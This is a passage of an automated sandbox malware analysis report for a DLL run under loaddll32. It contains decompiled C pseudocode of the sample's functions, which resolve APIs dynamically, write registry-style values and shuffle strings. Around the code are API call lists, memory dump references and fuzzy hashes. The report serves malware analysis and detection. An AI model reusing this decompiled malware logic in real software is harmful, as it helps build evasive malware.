										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E02C57A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                  0x02c56c08
                  0x02c56c0c
                  0x02c56cce
                  0x02c56c12
                  0x02c56c12
                  0x02c56c17
                  0x02c56c2a
                  0x02c56c2c
                  0x02c56c31
                  0x02c56c39
                  0x02c56c40
                  0x02c56c42
                  0x02c56c47
                  0x02c56cc6
                  0x02c56cc7
                  0x02c56c49
                  0x02c56c49
                  0x02c56c4e
                  0x02c56c56
                  0x02c56c58
                  0x02c56c5d
                  0x00000000
                  0x02c56c5f
                  0x02c56c5f
                  0x02c56c64
                  0x02c56c6c
                  0x02c56c6e
                  0x02c56c73
                  0x00000000
                  0x02c56c75
                  0x02c56c75
                  0x02c56c7a
                  0x02c56c82
                  0x02c56c84
                  0x02c56c89
                  0x00000000
                  0x02c56c8b
                  0x02c56c8b
                  0x02c56c90
                  0x02c56c98
                  0x02c56c9a
                  0x02c56c9f
                  0x00000000
                  0x02c56ca1
                  0x02c56ca7
                  0x02c56cac
                  0x02c56cb3
                  0x02c56cb8
                  0x02c56cbd
                  0x00000000
                  0x02c56cbf
                  0x02c56cc2
                  0x02c56cc2
                  0x02c56cbd
                  0x02c56c9f
                  0x02c56c89
                  0x02c56c73
                  0x02c56c5d
                  0x02c56c47
                  0x02c56cdc

                  APIs
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02C537FB,?,?,?,?,00000000,00000000), ref: 02C56C1E
                  • GetProcAddress.KERNEL32(00000000,7243775A), ref: 02C56C40
                  • GetProcAddress.KERNEL32(00000000,614D775A), ref: 02C56C56
                  • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02C56C6C
                  • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02C56C82
                  • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02C56C98
                    • Part of subcall function 02C57A08: memset.NTDLL ref: 02C57A87
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: AddressProc$AllocateHandleHeapModulememset
                  • String ID:
                  • API String ID: 1886625739-0
                  • Opcode ID: e38f090296870c12a307d02762ce86f15b691dc7662758152816fa660d73973a
                  • Instruction ID: 5a928b9d9c827009858b90f3dcc419d41c28dd4d59d4ce0bd820ab802f94d214
                  • Opcode Fuzzy Hash: e38f090296870c12a307d02762ce86f15b691dc7662758152816fa660d73973a
                  • Instruction Fuzzy Hash: 78218DB0600B2AAFD710DF6ACA44E5ABBECEF443487110925E905D7211EB74EAC88F64
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5D559 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetLastError.KERNEL32(00000001,?,6CB5D11D,6CB5A8BD,6CB5AB4E,?,6CB5AD86,?,00000001,?,?,00000001,?,6CB72578,0000000C,6CB5AE7F), ref: 6CB5D567
                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6CB5D575
                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6CB5D58E
                  • SetLastError.KERNEL32(00000000,6CB5AD86,?,00000001,?,?,00000001,?,6CB72578,0000000C,6CB5AE7F,?,00000001,?), ref: 6CB5D5E0
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorLastValue___vcrt_
                  • String ID:
                  • API String ID: 3852720340-0
                  • Opcode ID: 4732d8f1681f7a73c7916f028732cf36a240475c8f8cb84b3e2acdae691a3fcd
                  • Instruction ID: 9f0af1df50b7849607412d656bee008be9d6e65e76ca0948f4d8277b02985178
                  • Opcode Fuzzy Hash: 4732d8f1681f7a73c7916f028732cf36a240475c8f8cb84b3e2acdae691a3fcd
                  • Instruction Fuzzy Hash: 9E01D83220B2D19EAA001E79BD849EF2769DB076BC764032AF13586DD4FF218C258691
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB47BD0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • HdIrWcSHQLiLxJKBNsgjq, xrefs: 6CB48005
                  • BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf, xrefs: 6CB48019
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf$HdIrWcSHQLiLxJKBNsgjq
                  • API String ID: 1384045349-3853596494
                  • Opcode ID: 59dc3e3bb98eee45f5ea6224aac772bb5d7f8d8e061199469b898b141f8d2214
                  • Instruction ID: 3dc5e5007637ef35531c308d31ec873c8e1cb209c71c1efacc484bfc1bd22e62
                  • Opcode Fuzzy Hash: 59dc3e3bb98eee45f5ea6224aac772bb5d7f8d8e061199469b898b141f8d2214
                  • Instruction Fuzzy Hash: ADA14CB090D1A98ADF24CB44DC84BDDB775BB41308F5481CAD0097BA49DBB19EC8EF52
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C54C94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 88%
                  			E02C54C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x2c5a3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E02C56536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E02C5313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E02C561DA(_a8);
						goto L29;
					}
					_t64 =  *0x2c5a318; // 0x3ad9dd8
					_t16 = _t64 + 0xc; // 0x3ad9efa
					_t65 = E02C56536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d02c590
						if(E02C57767(_t97,  *_t33, _t91, _a8,  *0x2c5a3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x2c5a348; // 0xe7d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x2c5bb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x2c5bbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E02C57238(_t69,  *0x2c5a3d4,  *0x2c5a3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x2c5a348; // 0xe7d5a8
									_t44 = _t71 + 0x2c5b332; // 0x74666f53
									_t73 = E02C56536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d02c590
										E02C55B0E( *_t47, _t91, _a8,  *0x2c5a3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d02c590
										E02C55B0E( *_t49, _t91, _t99,  *0x2c5a3d0, _a16);
										E02C561DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d02c590
									E02C55B0E( *_t40, _t91, _a8,  *0x2c5a3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d02c590
									E02C55B0E( *_t43, _t91, _a8,  *0x2c5a3d0, _a16);
								}
								if( *_t101 != 0) {
									E02C561DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d02c590
					_t81 = E02C558BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d02c590
							E02C57767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E02C561DA(_t100);
						_t98 = _a16;
					}
					E02C561DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E02C57AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x2c5a3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}























                  0x02c54c94
                  0x02c54c9d
                  0x02c54ca4
                  0x02c54ca9
                  0x02c54d16
                  0x02c54d1c
                  0x02c54d21
                  0x02c54d28
                  0x02c54d2d
                  0x02c54d32
                  0x02c54e9d
                  0x02c54ea4
                  0x02c54ea4
                  0x02c54ea9
                  0x02c54eab
                  0x02c54eab
                  0x02c54eb4
                  0x02c54eb4
                  0x02c54d38
                  0x02c54d44
                  0x02c54e93
                  0x02c54e96
                  0x00000000
                  0x02c54e96
                  0x02c54d4a
                  0x02c54d4f
                  0x02c54d52
                  0x02c54d57
                  0x02c54d5c
                  0x02c54da5
                  0x02c54da5
                  0x02c54db8
                  0x02c54dc2
                  0x02c54dc8
                  0x02c54dcf
                  0x02c54dd9
                  0x02c54dd9
                  0x02c54dd1
                  0x02c54dd1
                  0x02c54dd1
                  0x02c54dd1
                  0x02c54dfb
                  0x02c54e03
                  0x02c54e31
                  0x02c54e36
                  0x02c54e3d
                  0x02c54e42
                  0x02c54e46
                  0x02c54e78
                  0x02c54e48
                  0x02c54e55
                  0x02c54e58
                  0x02c54e68
                  0x02c54e6b
                  0x02c54e71
                  0x02c54e71
                  0x02c54e05
                  0x02c54e12
                  0x02c54e15
                  0x02c54e27
                  0x02c54e2a
                  0x02c54e2a
                  0x02c54e82
                  0x02c54e8e
                  0x02c54e84
                  0x02c54e87
                  0x02c54e87
                  0x02c54e82
                  0x02c54dfb
                  0x00000000
                  0x02c54dc2
                  0x02c54d6b
                  0x02c54d6e
                  0x02c54d75
                  0x02c54d7b
                  0x02c54d7e
                  0x02c54d80
                  0x02c54d8c
                  0x02c54d8f
                  0x02c54d8f
                  0x02c54d95
                  0x02c54d9a
                  0x02c54d9a
                  0x02c54da0
                  0x00000000
                  0x02c54da0
                  0x02c54cae
                  0x00000000
                  0x02c54cd5
                  0x02c54cd5
                  0x02c54ce1
                  0x02c54cf4
                  0x02c54cfa
                  0x02c54d02
                  0x00000000
                  0x02c54d02

                  APIs
                  • StrChrA.SHLWAPI(02C56A76,0000005F,00000000,00000000,00000104), ref: 02C54CC7
                  • lstrcpy.KERNEL32(?,?), ref: 02C54CF4
                    • Part of subcall function 02C56536: lstrlen.KERNEL32(?,00000000,03AD9DD8,00000000,02C56F0A,03AD9FFB,43175AC3,?,?,?,?,43175AC3,00000005,02C5A00C,4D283A53,?), ref: 02C5653D
                    • Part of subcall function 02C56536: mbstowcs.NTDLL ref: 02C56566
                    • Part of subcall function 02C56536: memset.NTDLL ref: 02C56578
                    • Part of subcall function 02C55B0E: lstrlenW.KERNEL32(?,?,?,02C54E5D,3D02C590,80000002,02C56A76,02C557D1,74666F53,4D4C4B48,02C557D1,?,3D02C590,80000002,02C56A76,?), ref: 02C55B33
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  • lstrcpy.KERNEL32(?,00000000), ref: 02C54D16
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                  • String ID: ($\
                  • API String ID: 3924217599-1512714803
                  • Opcode ID: 02acf44dcac2e9dbb67ce9591799e140c1398fed0b6249d6ea67505d42e0d2fd
                  • Instruction ID: 93326a9b3ccf8de7f5319bad85e131e57fdb1b73a5b501c9d7c2a431a02ec074
                  • Opcode Fuzzy Hash: 02acf44dcac2e9dbb67ce9591799e140c1398fed0b6249d6ea67505d42e0d2fd
                  • Instruction Fuzzy Hash: 41515672500229EFCF259F61DC44EAB7BBAEF48348F008A14FE15A6160D771DAE5EB14
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB62710 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON
                  Download Yara Rule
                  Strings
                  • C:\Windows\system32\loaddll32.exe, xrefs: 6CB6272C
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID: C:\Windows\system32\loaddll32.exe
                  • API String ID: 0-1062229814
                  • Opcode ID: 514c49d7862944c3585dd05026cd4e2e6c8b1ba3d81a20ecf060c218249030ce
                  • Instruction ID: 0dacf41b31ac249c4b05833f53ad6b74b53ac9c52603cb578b8ea73fc528e078
                  • Opcode Fuzzy Hash: 514c49d7862944c3585dd05026cd4e2e6c8b1ba3d81a20ecf060c218249030ce
                  • Instruction Fuzzy Hash: D2219F31204289AFAB009F77CC98DABB7ADEF5176C7044625F91997E50DB30EC5487A2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5E5C7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • FreeLibrary.KERNEL32(00000000,?,?,6CB5E688,00000000,?,00000001,00000000,?,6CB5E6FF,00000001,FlsFree,6CB6B64C,FlsFree,00000000), ref: 6CB5E657
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeLibrary
                  • String ID: api-ms-
                  • API String ID: 3664257935-2084034818
                  • Opcode ID: 6307e38bca0b435fcaf97bcc46b7b10efde669bfa762dfd6b6f58af83126eec2
                  • Instruction ID: 83af9471b18608608956449f2f837e18a3131bca2528e2bd5fc2c2dddc8f7ec7
                  • Opcode Fuzzy Hash: 6307e38bca0b435fcaf97bcc46b7b10efde669bfa762dfd6b6f58af83126eec2
                  • Instruction Fuzzy Hash: D811A731A452E1A7DF125E6ACC40B4E33B4EF067B4F580221F914E76C0D774ED108AE6
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB47F4E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • HdIrWcSHQLiLxJKBNsgjq, xrefs: 6CB48005
                  • BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf, xrefs: 6CB48019
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: BmKrVaCfmkEuASeFPCgdVriVuCknwQEKtYcwcGf$HdIrWcSHQLiLxJKBNsgjq
                  • API String ID: 1384045349-3853596494
                  • Opcode ID: 776955e1fda362234d91d285b261850ff5dc91c8c5cdb1cb09aafa1360a91833
                  • Instruction ID: 6a05426e0bab78512bfff3fc87a3d951aa556a781a5ed5858726b8980b229763
                  • Opcode Fuzzy Hash: 776955e1fda362234d91d285b261850ff5dc91c8c5cdb1cb09aafa1360a91833
                  • Instruction Fuzzy Hash: 0F214BB59042A88ECB64DB64CC90BDEB7B5AF55204F40C0D9D14973745DB301F88EF52
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB583D5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • FEYbrlejjDhshxgolbMzGlysyJTwChEEuxSLFtx, xrefs: 6CB58486
                  • IdGwokZvBKJJ, xrefs: 6CB58476
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: FEYbrlejjDhshxgolbMzGlysyJTwChEEuxSLFtx$IdGwokZvBKJJ
                  • API String ID: 1384045349-3788017932
                  • Opcode ID: 3116700a67a9249e6798560ce1ab6a7fee0158f7c28f772cbe4c52aa0454019a
                  • Instruction ID: 78ee51aeb536f1e1ce95e6ea580826b390cfd1c28082bdbcae72b223f1eba59a
                  • Opcode Fuzzy Hash: 3116700a67a9249e6798560ce1ab6a7fee0158f7c28f772cbe4c52aa0454019a
                  • Instruction Fuzzy Hash: A0212CB5C181A89BCB29DFA4CC909EDB77CAF54204F4480D9D20AA7755DB302B88DF54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C57040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 22%
                  			E02C57040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E02C533DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E02C561DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E02C533DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x2c5a318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124);
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                  0x02c57047
                  0x02c5704e
                  0x02c57053
                  0x02c57056
                  0x02c5705d
                  0x02c57060
                  0x02c57063
                  0x02c57068
                  0x02c5706d
                  0x02c571c1
                  0x02c571c3
                  0x02c571c5
                  0x02c571ca
                  0x02c571ca
                  0x02c57073
                  0x02c57076
                  0x02c57079
                  0x02c5707b
                  0x02c5707b
                  0x02c5707f
                  0x00000000
                  0x00000000
                  0x02c57083
                  0x02c570af
                  0x02c570b4
                  0x02c570b6
                  0x02c570b6
                  0x02c570b9
                  0x02c570bc
                  0x02c570bc
                  0x02c570be
                  0x00000000
                  0x02c57089
                  0x02c5708b
                  0x02c570aa
                  0x02c570aa
                  0x02c570c1
                  0x02c570c1
                  0x02c570c2
                  0x02c570c2
                  0x02c570c5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c570c5
                  0x02c5708f
                  0x02c570d6
                  0x02c570da
                  0x02c571b4
                  0x02c571b6
                  0x02c571b6
                  0x02c571b7
                  0x02c571ba
                  0x00000000
                  0x02c571ba
                  0x02c570e3
                  0x02c570f4
                  0x02c570f8
                  0x02c571b0
                  0x00000000
                  0x02c571b0
                  0x02c570fe
                  0x02c57101
                  0x02c57105
                  0x02c57109
                  0x02c5710e
                  0x02c571a6
                  0x02c571a6
                  0x00000000
                  0x02c571ac
                  0x02c57119
                  0x02c57122
                  0x02c57136
                  0x02c5713d
                  0x02c57152
                  0x02c57158
                  0x02c57160
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c57162
                  0x02c57162
                  0x02c57162
                  0x02c57169
                  0x02c57171
                  0x00000000
                  0x00000000
                  0x02c57173
                  0x02c5717c
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c5717e
                  0x02c57180
                  0x02c57183
                  0x02c57183
                  0x02c57186
                  0x02c5718a
                  0x02c5718d
                  0x02c57193
                  0x02c57196
                  0x02c5719d
                  0x00000000
                  0x02c57119
                  0x02c57094
                  0x02c5709c
                  0x02c570a2
                  0x02c570a4
                  0x02c570a4
                  0x02c570a7
                  0x02c570a9
                  0x00000000
                  0x02c570a9
                  0x02c57083
                  0x02c570c9
                  0x02c570ce
                  0x02c570d0
                  0x02c570d0
                  0x02c570d3
                  0x02c570d3
                  0x00000000

                  APIs
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • lstrcpy.KERNEL32(43175AC4,00000020), ref: 02C5713D
                  • lstrcat.KERNEL32(43175AC4,00000020), ref: 02C57152
                  • lstrcmp.KERNEL32(00000000,43175AC4), ref: 02C57169
                  • lstrlen.KERNEL32(43175AC4), ref: 02C5718D
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                  • String ID:
                  • API String ID: 3214092121-3916222277
                  • Opcode ID: 65d6731efc231618897be39376f3cdc21dcad2824e9d5c6355f77909d5cd8b8c
                  • Instruction ID: 226870865b496fb2743b25093f3fcb9a20f7f77a69a471c655bed00f89aad949
